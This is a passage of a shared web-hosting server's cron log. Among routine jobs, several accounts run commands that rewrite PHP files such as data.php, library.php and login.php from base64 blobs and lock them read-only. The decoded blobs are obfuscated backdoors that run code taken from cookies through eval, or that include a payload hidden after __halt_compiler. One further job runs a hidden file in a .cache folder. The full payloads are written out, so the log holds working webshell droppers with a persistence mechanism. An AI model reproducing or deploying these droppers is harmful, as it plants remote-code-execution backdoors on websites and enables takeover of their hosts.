4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:31:01 medusa CROND[19602]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:31:01 medusa CROND[19604]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:31:01 medusa CROND[19608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:31:01 medusa CROND[19601]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:31:01 medusa CROND[19613]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:31:01 medusa CROND[19614]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:32:01 medusa CROND[6439]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:32:01 medusa CROND[6578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:32:02 medusa CROND[6679]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:32:02 medusa CROND[6682]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:32:02 medusa CROND[6683]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:32:02 medusa CROND[6684]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:32:02 medusa CROND[6686]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:32:02 medusa CROND[6687]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:32:02 medusa CROND[6688]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:32:02 medusa CROND[6696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:32:02 medusa CROND[6699]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:32:02 medusa CROND[6700]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:32:02 medusa CROND[6701]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:33:01 medusa CROND[27248]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:33:01 medusa CROND[27468]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:33:01 medusa CROND[27469]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:33:01 medusa CROND[27467]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:33:01 medusa CROND[27471]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:33:01 medusa CROND[27474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:33:01 medusa CROND[27475]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:33:01 medusa CROND[27477]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:33:01 medusa CROND[27483]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:33:01 medusa CROND[27485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:33:01 medusa CROND[27478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:33:01 medusa CROND[27487]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIH